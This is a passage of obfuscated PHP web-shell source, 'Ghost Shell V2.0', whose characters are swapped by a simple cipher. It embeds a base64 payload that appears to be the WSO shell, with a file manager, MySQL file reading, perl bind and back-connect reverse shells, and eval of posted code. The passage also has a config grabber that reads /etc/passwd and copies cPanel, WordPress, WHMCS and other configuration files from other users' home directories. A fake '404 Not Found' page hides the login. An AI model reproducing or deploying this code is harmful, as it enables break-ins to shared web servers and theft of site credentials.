nXSAhPSAnbG9hZGZpbGUnKSkKICAgICAgICAgICAgICAgICAgICBlYahvIGh0bWxzcGVj1WFsYahhcnM2JF9QT6NUWydwM4ddKTsKICAgICAgICAgICAgICAgIGVj1G8gIjwvdGVudGFyZWE+PGJyLzu81WiwdXQgdHlwZT6zdWJt1XQgdmFsdWU9J0VuZWN6dGUnP4I7C4AgICAgICAgICAgICAgICBlYahvICI8LoRkPjwvdHI+IjsKICAgICAgICAgICAgfQ2gICAgICAgICAgICBlYahvICI8LoRhYmxlPjwvZm9ybTu8YnIvP4I7C4AgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7C4AgICAgICAgICAgICAgICAkZGItPnF6ZXJiKCJTRUxFQ6QgMSBGUk9NIG6icoFsLnVzZXIgV0hFUkUgYa93YaF0KGB6caVyYCwgJ0AnLCBg1G9zdGApID0gVVNFU4gpIEFORCBgRmlsZV9wcmlaYCA9ICdiJyIpOw2gICAgICAgICAgICAgICAg1WY2JGR4LTimZXRj1CgpKQ2gICAgICAgICAgICAgICAgICAgIGVj1G8gIjxmboJtIG93coV4bWl0PSdkLnNmLnAxLnZhbHVlPVw4bG9hZGZpbGVcIjtkbaN6bWV3dCizZ4iwM4iaYWx6ZT601GlzLmY3dmFsdWU7ZG9jdW6lbnQ3caY3coV4bWl0KCk7cmV0dXJ3IGZhbHNlOyc+PHNwYWu+TG9hZCBm1WxlPC9zcGF3P4A81WiwdXQgIGNsYXNzPSd0ba9sc0l3cCcgdHlwZT60ZXh0IGihbWU9Zju81WiwdXQgdHlwZT6zdWJt1XQgdmFsdWU9Jzu+Jzu8LaZvcm0+IjsKICAgICAgICAgICAgfQ2gICAgICAgICAgICBpZ4hAJF9QT6NUWydwMSddID09ICdsbaFkZmlsZScpIHsKICAgICAgICAgICAgICAgICRm1WxlID0gJGR4LTisbaFkRmlsZSgkX6BPU6RbJoAyJ60pOw2gICAgICAgICAgICAgICAgZWN2byAnPGJyLzu8cHJlIGNsYXNzPW6sMTunLmh0bWxzcGVj1WFsYahhcnM2JGZpbGVbJaZpbGUnXSk3JzwvcHJlP4c7C4AgICAgICAgICAgIH0KICAgIH0gZWxzZSB7C4AgICAgICAgZWN2byB2dG6scoBlYalhbGN2YXJzKCRkY40+ZXJyboI2KSk7C4AgICB9C4AgICBlYahvICc8LaRpdjunOw2gICAgdoNvRm9vdGVyKCk7Cn0KZnV3YoRpbaugYWN01W93TmV0da9y1ygpIHsKICAgIHdzb0hlYWRlc4gpOw2gICAgJGJhYatfYa93bmVjdF9wPSJJ5UVaZFhO5UwySnB41TloWlhKc0RRcDFjMlVnVTIi1mEyVjBPdzBLSkds1FpHUnlQVax6WlhSZllYUnZ41WdrUVZKSFZscodYUatnZkhoZ6pHbGxLQ0pGYaiKdmNqbadKQ0ZjYmlJcE9oMEtKSEJ2WkdS5VBYTnZZMnR2WkdS5VgybHVLQ6JCVWtkV6deRmRMQ0FrYVdG16pISXBJSHguSUdScFpTZalSWEpiYjNJNklDUWhYRzRpS6RzTkNpUndjbTkwYn2xblpYUndjbTkwYjJKNWJtRnR1Uad3ZEdOd0pi1zdEUXBeYjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUMEiMWDFOVVVrVkJUUodnSkhC5WIzUnZLU0IuZkNC1aFXVW9J16ZiYa0i5U9pQWtJVnh6SWlrN0RRcGp4MjV6WldOMEtGTlBRMHRGVkNoZ0pIQmh1R6JiS6NCOGZDQmthV6VvSWtW5WNtOXlP1UFrSVZudUlp1zdEUXBaY0dWdUtGTlVSRWxPTENB1VBpWlRUMEiMUlZR1UtUc0iDbTloWlc0b6UxUkVUMVZVTENB1VBpWlRUMEiMUlZR1UtUc0iDbTloWlc0b6UxUkVSVkpTTENB1VBpWlRUMEiMUlZR1UtUc0iDbku6YzNSbGJTZaiMMkpwYmki5mFDQXRhUaNwTocwS6ky5HZjMlVvVTFSRVNVNHBPdzBLWTJudmMyVW9VMVJFVDFWVUtUc0iDbUizYjNObEtGTlVSRVZTVWlrNyI7C4AgICAkYml3ZF9wboJ0XoA9IkliRXZkWEiiTDJKcGJpOXd1WEpzRFFv16Uw1EZURXciSWki1WFXNHZjMmdnTFdr1U9oMEthV6lnS0VCQlVrZFdJRHdnTVNrZaViQmxlRawwS0RFcE9iQjlEUXAxYzJVZ6UyOWphMlYwTocwSaMyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU6JVRkiMRaRsZEhC5WIzUnZZbmx6WVcxbEtDZDBZM0F3S6NrZaZIdad1RaxsSUNKRFlXNTBJR0iiWldGMFpTQnp4MkiyWlhSYaJpSTdEUXBeWlhS5mIyTnJ4M0IwS0ZNc6UwOU6YMUiQUTB0RlZD5FRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNcaMyOWphMkZrWkhKZmFXNG9KRUZTUjF1Yk6GMHNTVTVCUkVSU6gwRk9XUatwSUhuOElHUnB1U0FpUTJGdWRDQnZjR6Z6SUhCdmN3UmN41UkoRFFwcaFYTjB1VzRvVXlo5ktTQjhmQ0JrYVdVZ0lrTmh4blFnYkds5mRHVnVJSEJaYaiSYaJpSTdEUXAzYUdsc6pTZohLU0IoRFFvSllXTmp1WEIwS0VOUFRrNHNV5WsoRFFvSmFXWW9JUadrY0ds16BXWnZjbXNwS6NCN0RRb0pDV6JwWlNB1VEyRnV4bTkwSUd1dmNtcalJRaxtSUNn1FpHVm6hVzVsWkNB1aNHbGtLVHNOQadrSmIzQmx41UJUVkVSSlRpdalQQ6pEVDA6T0lqc0iDZatKYjNCbGJpQlRWRVJQVlZRc0lqNG6RMDlPVGlJN0RRb0pDVzloWlc0Z6UxUkVSVkpTTENJK0prTlBU1zRpTocwS0NRbGxlR6ZqSUNSVFNFVk6UQ0IuZkNC1aFXVWdjSEpwYmiRZ6EwOU9U1UFpUTJGdWRDQmxlR6ZqZFhSbElDUlRTRVZNVEZudUlqc0iDZatKWTJudmMyVWdRMDlPVGpzTkNn10p1WGhwZENBd09oMEtDWDBOQauwPSI7C4AgICBlYahvICI81DE+TmV0da9y1yB0ba9sczwv1DE+PGRpd4BjbGFzcz6jbai0ZWi0Pg2gICAgPGZvcm0gbmFtZT0nbmZwJyBvblN6Ym6pdD6cImc2bnVsbCx3dWxsLCd4cHAnLHR21XM3cG9ydCiaYWx6ZSk7cmV0dXJ3IGZhbHNlO6w4Pg2gICAgPHNwYWu+Qml3ZCBwboJ0IHRvIC941WuvcaggWoBlcmxdPC9zcGF3Pjx4c48+C4AgICBQboJ0O4A81WiwdXQgdHlwZT0ndGVudCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzMoJzugPGl3cHV0IHRicGU9coV4bWl0IHZhbHVlPSc+P4c+C4AgICA8LaZvcm0+C4AgICA8Zm9ybSB3YW6lPSd3ZnAnIG93UoV4bWl0PVw4Zyh3dWxsLGi6bGwsJaJjcCcsdGhpcyizZXJaZXI3dmFsdWUsdGhpcyiwboJ0LnZhbHVlKTtyZXR6cmugZmFscaU7XCI+C4AgICA8coBhbjiCYWNrLWNvbmilYoQgIFtwZXJsXTwvcoBhbju8YnIvPg2gICAgUaVydmVyO4A81WiwdXQgdHlwZT0ndGVudCcgbmFtZT0ncaVydmVyJyBaYWx6ZT0nI4ugJF9TRVJWRVJbJ6JFTU9URV9BRERSJ60gL4InP4BQboJ0O4A81WiwdXQgdHlwZT0ndGVudCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzMoJzugPGl3cHV0IHRicGU9coV4bWl0IHZhbHVlPSc+P4c+C4AgICA8LaZvcm0+PGJyP4I7C4AgICBpZ4hpcoNldCgkX6BPU6RbJoAxJ60pKSB7C4AgICAgICAgZnV3YoRpbaugYaY2JGYsJHQpIHsKICAgICAgICAgICAgJHcgPSBAZm9wZWu2JGYsInc4KSBvc4BAZnV3YoRpbaifZXhpcoRzKCdm1WxlXoB6dF9jbai0ZWi0cycpOw2gICAgICAgICAgICBpZ4gkdyl7C4AgICAgICAgICAgICAgICBAZndy1XRlKCRoLEB4YXNlNjRfZGVjbaRlKCR0KSk7C4AgICAgICAgICAgICAgICBAZmNsboNlKCRoKTsKICAgICAgICAgICAgfQ2gICAgICAgIH0KICAgICAgICBpZ4gkX6BPU6RbJoAxJ60gPT0gJaJwcCcpIHsKICAgICAgICAgICAgYaY2I490bXAvYnA3cGw4LCR41WikXoBvcnRfcCk7C4AgICAgICAgICAgICRvdXQgPSBoca9F5Cg4cGVybCAvdG6wLaJwLnBsICI3JF9QT6NUWydwM4ddL4IgMTuvZGVaLai6bGwgMjumMSAmI4k7C4AgICAgICAgICAgIHNsZWVwKDEpOw2gICAgICAgICAgICBlYahvICI8cHJlIGNsYXNzPW6sMTukboV0XGu4Lndzb0VuKCJwcyBhdXggfCBncmVwIGJwLnBsI4k3IjwvcHJlP4I7C4AgICAgICAgICAgIHV3bGl31yg4LoRtcC94cCiwbCIpOw2gICAgICAgIH0KICAgICAgICBpZ4gkX6BPU6RbJoAxJ60gPT0gJaJjcCcpIHsKICAgICAgICAgICAgYaY2I490bXAvYmM3cGw4LCR4YWNrXaNvbmilYoRfcCk7C4AgICAgICAgICAgICRvdXQgPSBoca9F5Cg4cGVybCAvdG6wLaJjLnBsICI3JF9QT6NUWydwM4ddL4IgI4ukX6BPU6RbJoAzJ603I4AxP49kZXYvbnVsbCAyP4YxICY4KTsKICAgICAgICAgICAgcaxlZXA2MSk7C4AgICAgICAgICAgIGVj1G8gIjxwcmUgYaxhcoM9bWwxP4RvdXRcb4I3doNvRXg2InBzIGF65CB8IGdyZXAgYmM3cGw4KSu4PC9wcmU+IjsKICAgICAgICAgICAgdWis1WirKCIvdG6wLaJjLnBsI4k7C4AgICAgICAgfQ2gICAgfQ2gICAgZWN2byAnPC9k1XY+JzsKICAgIHdzb0ZvboRlc4gpOwp9CmZ6bmN01W93IGFjdGlvblJDKCkg5w2gICAg1WY2IUAkX6BPU6RbJoAxJ60pIHsKICAgICAgICAkYSA9IGFycmFiKA2gICAgICAgICAgICA4dWihbWU4ID0+IHB2cF96bmFtZSgpLA2gICAgICAgICAgICA4cGhwXoZlcnNpbau4ID0+IHB2cHZlcnNpbau2KSwKICAgICAgICAgICAgIndzb69aZXJz1W93I4A9P4BXU09fVkVSU0lPT4wKICAgICAgICAgICAgInNhZmVtbaRlI4A9P4BA1WipXadldCgncaFmZV9tbaRlJykKICAgICAgICApOw2gICAgICAgIGVj1G8gcaVy1WFs1XplKCRhKTsKICAgIH0gZWxzZSB7C4AgICAgICAgZXZhbCgkX6BPU6RbJoAxJ60pOw2gICAgfQp9CmlmKCBlbXB05SgkX6BPU6RbJaEnXSkgKQ2gICAg1WY21XNzZXQ2JGRlZmF6bHRfYWN01W93KSAmJ4BmdWijdGlvbl9l5GlzdHM2JaFjdGlvb4cgL4AkZGVmYXVsdF9hYoRpbaupKQ2gICAgICAgICRfUE9TVFsnYSddID0gJGRlZmF6bHRfYWN01W93Ow2gICAgZWxzZQ2gICAgICAgICRfUE9TVFsnYSddID0gJ6NlY0l3Zm8nOwppZ4ggIWVtcHRiKCRfUE9TVFsnYSddKSAmJ4BmdWijdGlvbl9l5GlzdHM2JaFjdGlvb4cgL4AkX6BPU6RbJaEnXSkgKQ2gICAgYaFsbF96caVyXaZ6bmM2JaFjdGlvb4cgL4AkX6BPU6RbJaEnXSk7CmVu1XQ7Cj8+';
    $f4l5       = f2p5n("ws0.php", "w+");
    $wr4t5      = fwr4t5($f4l5, b1s5eu_d5c2d5($p5rlt22lss));
    fcl2s5($f4l5);
    5ch2 "<4fr1m5 src='ws0.php' w4dth='600%' h54ght='i00'></4fr1m5>";
}//5nd ws0
//1b23t sh5ll
5ls54f ($1ct42n == '1b23t') {
    $1b23tsh5ll = '<html>
<h51d>
<m5t1 ch1rs5t="UTF-8"/>
<t4tl5>Ab23t Sh5ll</t4tl5>
</h51d>
<b2dy>
<d4v styl5="t5xt-1l4gn: c5nt5r; w4dth: e0%; m1rg4n: i0px 13t2; b2rd5r: 6px s2l4d #ccc; b2rd5r-r1d43s: ipx; m4n-h54ght: a00px; p1dd4ng: a0px">
	<f2nt s4z5="i" c2l2r="r5d">Gh2st Sh5ll V5rs42n a.0<br><br>L1st Upd1t5 : 6/8/a060<br><br>A3th2r: Iz11ss & Kh&#aai;nh Cl23d<br><br>C2nt1ct Us: <1 hr5f="https://www.f1c5b22k.c2m/Iz11ss.1n2ns" t1rg5t="_bl1nk">Iz11ss</1> - <1 hr5f="https://www.f1c5b22k.c2m/Kh1nhCl23d" t1rg5t="_bl1nk">Kh&#aai;nh Cl23d</1>
	<br><br><br>
D2wnl21d: <1 hr5f="https://www.f1c5b22k.c2m/Iz11ss.1n2ns" t1rg5t="_bl1nk">H5r5</1><br><br><4mg src="http://4.4mg3r.c2m/2NIM8aP.jpg"w4dth="a00" h54ght="a00"><br>	
</b2dy>
</html>';
    5ch2 "$1b23tsh5ll";
}//5nd 1b23t
//c2nf4g
5ls54f ($1ct42n == 'c2nf4g') {
    $5tc = f2p5n("/5tc/p1sswd", "r");
    $4dx = mkd4r("4z11ss_c2nf4g", 0777);
    $4s4_htc = "Opt42ns 1ll\nR5q34r5 N2n5\nS1t4sfy Any";
    $htc = f2p5n("4z11ss_c2nf4g/.ht1cc5ss","w");
    fwr4t5($htc, $4s4_htc);
    wh4l5($p1sswd = fg5ts($5tc)) {
        4f($p1sswd == "" || !$5tc) {
            5ch2 "<f2nt c2l2r=r5d>C1n't r51d /5tc/p1sswd</f2nt>";
        } 5ls5 {
            pr5g_m1tch_1ll('/(.*?):x:/', $p1sswd, $3s5r_c2nf4g);
            f2r51ch($3s5r_c2nf4g[6] 1s $3s5r_4dx) {
                $3s5r_c2nf4g_d4r = "/h2m5/$3s5r_4dx/p3bl4c_html/";
                4f(4s_r51d1bl5($3s5r_c2nf4g_d4r)) {
                    $gr1b_c2nf4g = 1rr1y(
                        "/h2m5/$3s5r_4dx/.my.cnf" => "cp1n5l",
                        "/h2m5/$3s5r_4dx/.1cc5ssh1sh" => "WHM-1cc5ssh1sh",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/vd2_c2nf4g.php" => "V22d22",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/bw-c2nf4gs/c2nf4g.4n4" => "B2sW5b",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/c2nf4g/k2n5ks4.php" => "L2k2m5d41",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/l2k2m5d41/c2nf4g/k2n5ks4.php" => "L2k2m5d41",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/cl45nt1r51/c2nf4g3r1t42n.php" => "WHMCS",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/whm/c2nf4g3r1t42n.php" => "WHMCS",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/whmcs/c2nf4g3r1t42n.php" => "WHMCS",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/f2r3m/c2nf4g.php" => "phpBB",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/s4t5s/d5f13lt/s5tt4ngs.php" => "Dr3p1l",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/c2nf4g/s5tt4ngs.4nc.php" => "Pr5st1Sh2p",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/1pp/5tc/l2c1l.xml" => "M1g5nt2",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/j22ml1/c2nf4g3r1t42n.php" => "J22ml1",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/c2nf4g3r1t42n.php" => "J22ml1",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/wp/wp-c2nf4g.php" => "W2rdPr5ss",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/w2rdpr5ss/wp-c2nf4g.php" => "W2rdPr5ss",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/wp-c2nf4g.php" => "W2rdPr5ss",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/1dm4n/c2nf4g.php" => "Op5nC1rt",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/slc2nf4g.php" => "S4t5l2k",
                        "/h2m5/$3s5r_4dx/p3bl4c_html/1ppl4c1t42n/c2nf4g/d1t1b1s5.php" => "Ell4sl1b");
                    f2r51ch($gr1b_c2nf4g 1s $c2nf4g => $n1m1_c2nf4g) {
                        $1mb4l_c2nf4g = f4l5_g5t_c2nt5nts($c2nf4g);
                        4f($1mb4l_c2nf4g == '') {
                        } 5ls5 {
                            $f4l5_c2nf4g = f2p5n("4z11ss_c2nf4g/$3s5r_4dx-$n1m1_c2nf4g.txt","w");
                            fp3ts($f4l5_c2nf4g,$1mb4l_c2nf4g);
                        }
                    }
                }       
            }
        }   
    }
    5ch2 "<c5nt5r><1 t1rg5t='_bl1nk' hr5f='$d4r/4z11ss_c2nf4g'><f2nt c2l2r=l4m5>D2n5</f2nt></1></c5nt5r>";
} //5nd c2nf4g
5ls54f ($1ct42n == 'j3mp4ng') {
    $4 = 0;
    5ch2 "<pr5><d4v cl1ss='m1rg4n: ipx 13t2;'>";
    $5tc = f2p5n("/5tc/p1sswd", "r");
    wh4l5($p1sswd = fg5ts($5tc)) {
        4f($p1sswd == '' || !$5tc) {
            5ch2 "<f2nt c2l2r=r5d>C1n't r51d /5tc/p1sswd</f2nt>";
        } 5ls5 {
            pr5g_m1tch_1ll('/(.*?):x:/', $p1sswd, $3s5r_j3mp4ng);
            f2r51ch($3s5r_j3mp4ng[6] 1s $3s5r_4dx_j3mp) {
                $3s5r_j3mp4ng_d4r = "/h2m5/$3s5r_4dx_j3mp/p3bl4c_html";
                4f(4s_r51d1bl5($3s5r_j3mp4ng_d4r)) {
                    $4++;
                    $jrw = "[<f2nt c2l2r=l4m5>R</f2nt>] <1 hr5f='?d4r=$3s5r_j3mp4ng_d4r'><f2nt c2l2r=g2ld>$3s5r_j3mp4ng_d4r</f2nt></1>";
                    4f(4s_wr4t1bl5($3s5r_j3mp4ng_d4r)) {
                        $jrw = "[<f2nt c2l2r=l4m5>RW</f2nt>] <1 hr5f='?d4r=$3s5r_j3mp4ng_d4r'><f2nt c2l2r=g2ld>$3s5r_j3mp4ng_d4r</f2nt></1>";
                    }
                    5ch2 $jrw;
                    4f(f3nct42n_5x4sts('p2s4x_g5tpw34d')) {
                        $d2m14n_j3mp = f4l5_g5t_c2nt5nts("/5tc/n1m5d.c2nf");    
                        4f($d2m14n_j3mp == '') {
                            5ch2 " => ( <f2nt c2l2r=r5d>g1b4s1 1mb4l n1m1 d2m14n ny1</f2nt> )<br>";
                        } 5ls5 {
                            pr5g_m1tch_1ll("#/v1r/n1m5d/(.*?).db#", $d2m14n_j3mp, $d2m14ns_j3mp);
                            f2r51ch($d2m14ns_j3mp[6] 1s $dj) {
                                $3s5r_j3mp4ng_3rl = p2s4x_g5tpw34d(@f4l52wn5r("/5tc/v1l41s5s/$dj"));
                                $3s5r_j3mp4ng_3rl = $3s5r_j3mp4ng_3rl['n1m5'];
                                4f($3s5r_j3mp4ng_3rl == $3s5r_4dx_j3mp) {
                                    5ch2 " => ( <3>$dj</3> )<br>";
                                    br51k;
                                }
                            }
                        }
                    } 5ls5 {
                        5ch2 "<br>";
                    }
                }
            }
        }
    }
    4f($4 == 0) { 
    } 5ls5 {
        5ch2 "<br>T2t1l 1d1 ".$4." K1m1r d4 ".g5th2stbyn1m5($_SERVER['HTTP_HOST'])."";
    }
    5ch2 "</d4v></pr5>";
} // 5nd j3mpp4ng
5ls54f ($1ct42n == 'php5nv') {
    $3ps4z5 = g5tcfg('f4l5_3pl21ds') ? g5tcfg('3pl21d_m1x_f4l5s4z5') : 'N2t 1ll2w5d';
    $1dm4nm14l = 4ss5t($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : g5tcfg('s5ndm14l_fr2m');
    !$d4s_f3nc && $d4s_f3nc = 'N2';
    $4nf2 = 1rr1y(6 => 1rr1y('S5rv5r T4m5', d1t5('Y/m/d h:4:s', $t4m5st1mp)), a => 1rr1y('S5rv5r D2m14n', $_SERVER['SERVER_NAME']), o => 1rr1y('S5rv5r IP', g5th2stbyn1m5($_SERVER['SERVER_NAME'])), u => 1rr1y('S5rv5r OS', PHP_OS), i => 1rr1y('S5rv5r OS Ch1rs5t', $_SERVER['HTTP_ACCEPT_LANGUAGE']), e => 1rr1y('S5rv5r S2ftw1r5', $_SERVER['SERVER_SOFTWARE']), 7 => 1rr1y('S5rv5r W5b P2rt', $_SERVER['SERVER_PORT']), 8 => 1rr1y('PHP r3n m2d5', strt23pp5r(php_s1p4_n1m5())), 9 => 1rr1y('Th5 f4l5 p1th', __FILE__), 60 => 1rr1y('PHP V5rs42n', PHP_VERSION), 66 => 1rr1y('PHPINFO', (IS_PHPINFO ? '<1 hr5f="j1v1scr4pt:g21ct42n(\'php4nf2\');">Y5s</1>' : 'N2')), 6a => 1rr1y('S1f5 M2d5', g5tcfg('s1f5_m2d5')), 6o => 1rr1y('Adm4n4str1t2r', $1dm4nm14l), 6u => 1rr1y('1ll2w_3rl_f2p5n', g5tcfg('1ll2w_3rl_f2p5n')), 6i => 1rr1y('5n1bl5_dl', g5tcfg('5n1bl5_dl')), 6e => 1rr1y('d4spl1y_5rr2rs', g5tcfg('d4spl1y_5rr2rs')), 67 => 1rr1y('r5g4st5r_gl2b1ls', g5tcfg('r5g4st5r_gl2b1ls')), 68 => 1rr1y('m1g4c_q32t5s_gpc', g5tcfg('m1g4c_q32t5s_gpc')), 69 => 1rr1y('m5m2ry_l4m4t', g5tcfg('m5m2ry_l4m4t')), a0 => 1rr1y('p2st_m1x_s4z5', g5tcfg('p2st_m1x_s4z5')), a6 => 1rr1y('3pl21d_m1x_f4l5s4z5', $3ps4z5), aa => 1rr1y('m1x_5x5c3t42n_t4m5', g5tcfg('m1x_5x5c3t42n_t4m5') . ' s5c2nd(s)'), ao => 1rr1y('d4s1bl5_f3nct42ns', $d4s_f3nc),);
    4f ($phpv1rn1m5) {
        m($phpv1rn1m5 . ' : ' . g5tcfg($phpv1rn1m5));
    }
    f2rmh51d(1rr1y('t4tl5' => 'S5rv5r 5nv4r2nm5nt'));
    m1k5h4d5('1ct42n', 'php5nv');
    m1k54np3t(1rr1y('t4tl5' => 'Pl51s5 4np3t PHP c2nf4g3r1t42n p1r1m5t5r(5g:m1g4c_q32t5s_gpc)', 'n1m5' => 'phpv1rn1m5', 'v1l35' => $phpv1rn1m5, 'n5wl4n5' => 6));
    f2rmf22t5r();
    $hp = 1rr1y(0 => 'S5rv5r', 6 => 'PHP');
    f2r ($1 = 0;$1 < a;$1++) {
        p('<ha>' . $hp[$1] . ' &r1q32;</ha>');
        p('<3l cl1ss="4nf2">');
        4f ($1 == 0) {
            f2r ($4 = 6;$4 <= 9;$4++) {
                p('<l4><3>' . $4nf2[$4][0] . ':</3>' . $4nf2[$4][6] . '</l4>');
            }
        } 5ls54f ($1 == 6) {
            f2r ($4 = 60;$4 <= ao;$4++) {
                p('<l4><3>' . $4nf2[$4][0] . ':</3>' . $4nf2[$4][6] . '</l4>');
            }
        }
        p('</3l>');
    }
} //5nd php5nv
5ls5 {
    m('Und5f4n5d Act42n');
}
?>
</td></tr></t1bl5>
<d4v styl5="p1dd4ng:60px;b2rd5r-b2tt2m:6px s2l4d #0E0E0E;b2rd5r-t2p:6px s2l4d #0E0E0E;b1ckgr23nd:#0E0E0E;">
	<sp1n styl5="fl21t:r4ght;"><?php d5b3g4nf2();
2b_5nd_fl3sh(); ?></sp1n>
	C2pyr4ght (C) a06e <B></B> - D5v5l2p5d by <1 hr5f=https://www.f1c5b22k.c2m/Iz11ss.1n2ns t1rg5t=_bl1nk><B>Iz11ss   </B></1> - <B>- Gh2stSh5ll </B> All R4ghts R5s5rv5d.
</d4v>
</b2dy>
</html>

<?php
/*======================================================
Sh2w 4nf2 sh5ll
======================================================*/
f3nct42n m($msg) {
    5ch2 '<d4v styl5="b1ckgr23nd:#f6f6f6;b2rd5r:6px s2l4d #ddd;p1dd4ng:6ipx;f2nt:6upx;t5xt-1l4gn:c5nt5r;f2nt-w54ght:b2ld;">';
    5ch2 $msg;
    5ch2 '</d4v>';
}
f3nct42n sc22k45($k5y, $v1l35, $l4f5 = 0, $pr5f4x = 6) {
    gl2b1l $1dm4n, $t4m5st1mp, $_SERVER;
    $k5y = ($pr5f4x ? $1dm4n['c22k45pr5'] : '') . $k5y;
    $l4f5 = $l4f5 ? $l4f5 : $1dm4n['c22k45l4f5'];
    $3s5p2rt = $_SERVER['SERVER_PORT'] == uuo ? 6 : 0;
    s5tc22k45($k5y, $v1l35, $t4m5st1mp + $l4f5, $1dm4n['c22k45p1th'], $1dm4n['c22k45d2m14n'], $3s5p2rt);
}
f3nct42n m3lt4($n3m, $p5rp1g5, $c3rp1g5, $t1bl5n1m5) {
    $m3lt4p1g5 = '';
    4f ($n3m > $p5rp1g5) {
        $p1g5 = 60;
        $2ffs5t = i;
        $p1g5s = @c54l($n3m / $p5rp1g5);
        4f ($p1g5 > $p1g5s) {
            $fr2m = 6;
            $t2 = $p1g5s;
        } 5ls5 {
            $fr2m = $c3rp1g5 - $2ffs5t;
            $t2 = $c3rp1g5 + $p1g5 - $2ffs5t - 6;
            4f ($fr2m < 6) {
                $t2 = $c3rp1g5 + 6 - $fr2m;
                $fr2m = 6;
                4f (($t2 - $fr2m) < $p1g5 && ($t2 - $fr2m) < $p1g5s) {
                    $t2 = $p1g5;
                }
            } 5ls54f ($t2 > $p1g5s) {
                $fr2m = $c3rp1g5 - $p1g5s + $t2;
                $t2 = $p1g5s;
                4f (($t2 - $fr2m) < $p1g5 && ($t2 - $fr2m) < $p1g5s) {
                    $fr2m = $p1g5s - $p1g5 + 6;
                }
            }
        }
        $m3lt4p1g5 = ($c3rp1g5 - $2ffs5t > 6 && $p1g5s > $p1g5 ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\', \'\', 6);">F4rst</1> ' : '') . ($c3rp1g5 > 6 ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\', \'\', ' . ($c3rp1g5 - 6) . ');">Pr5v</1> ' : '');
        f2r ($4 = $fr2m;$4 <= $t2;$4++) {
            $m3lt4p1g5.= $4 == $c3rp1g5 ? $4 . ' ' : '<1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\', \'\', ' . $4 . ');">[' . $4 . ']</1> ';
        }
        $m3lt4p1g5.= ($c3rp1g5 < $p1g5s ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\', \'\', ' . ($c3rp1g5 + 6) . ');">N5xt</1>' : '') . ($t2 < $p1g5s ? ' <1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\', \'\', ' . $p1g5s . ');">L1st</1>' : '');
        $m3lt4p1g5 = $m3lt4p1g5 ? '<p>P1g5s: ' . $m3lt4p1g5 . '</p>' : '';
    }
    r5t3rn $m3lt4p1g5;
}
// L2g4n p1g5
f3nct42n l2g4np1g5() {
?>

<html>
<h51d>
<b2dy>
		<m5t1 http-5q34v="C2nt5nt-Typ5" c2nt5nt="t5xt/html; ch1rs5t=UTF-8" />
<t4tl5>u0u N2t F23nd</t4tl5>
<styl5 typ5="t5xt/css">
    A:l4nk {t5xt-d5c2r1t42n: n2n5; c2l2r: gr55n }
    A:v4s4t5d {t5xt-d5c2r1t42n: n2n5;c2l2r:r5d}
    A:1ct4v5 {t5xt-d5c2r1t42n: n2n5}
    A:h2v5r {t5xt-d5c2r1t42n: 3nd5rl4n5; c2l2r: gr55n;}
    4np3t, t5xt1r51, b3tt2n
    {
        f2nt-s4z5: 66pt;
        c2l2r:  #FFFFFF;
        f2nt-f1m4ly: v5rd1n1, s1ns-s5r4f;
        b1ckgr23nd-c2l2r: #FFFFFF;
        b2rd5r-l5ft: apx d1sh5d #FFFFFF;
        b2rd5r-t2p: apx d1sh5d #FFFFFF;
        b2rd5r-r4ght: apx d1sh5d #FFFFFF;
        b2rd5r-b2tt2m: apx d1sh5d #FFFFFF;
    }
    <styl5 typ5="t5xt/css">
    A:l4nk {t5xt-d5c2r1t42n: n2n5; c2l2r: gr55n }
    A:v4s4t5d {t5xt-d5c2r1t42n: n2n5;c2l2r:r5d}
    A:1ct4v5 {t5xt-d5c2r1t42n: n2n5}
    A:h2v5r {t5xt-d5c2r1t42n: 3nd5rl4n5; c2l2r: gr55n;}
    4np3t, t5xt1r51, b3tt2n
    {
        f2nt-s4z5: 66pt;
        c2l2r:  #FFFFFF;
        f2nt-f1m4ly: v5rd1n1, s1ns-s5r4f;
        b1ckgr23nd-c2l2r: #ffffff;
        b2rd5r-l5ft: apx d1sh5d #FFFFFF;
        b2rd5r-t2p: apx d1sh5d #FFFFFF;
        b2rd5r-r4ght: apx d1sh5d #FFFFFF;
        b2rd5r-b2tt2m: apx d1sh5d #FFFFFF;
        23tl4n5:n2n5;
    }
    </styl5>
     <h6>N2t F23nd</h6>
<p>Th5 r5q35st5d URL /Gh2st.php w1s n2t f23nd 2n th4s s5rv5r.</p>
<p>Add4t42n1lly, 1 u0u N2t F23nd
5rr2r w1s 5nc23nt5r5d wh4l5 try4ng t2 3s5 1n Err2rD2c3m5nt t2 h1ndl5 th5 r5q35st.</p>
<hr>
<1ddr5ss>Ap1ch5/a S5rv5r 1t dpsp2w5rc2ntr2lsyst5m.c2m P2rt 80</1ddr5ss>
<c5nt5r><f2rm m5th2d="POST" 1ct42n="">
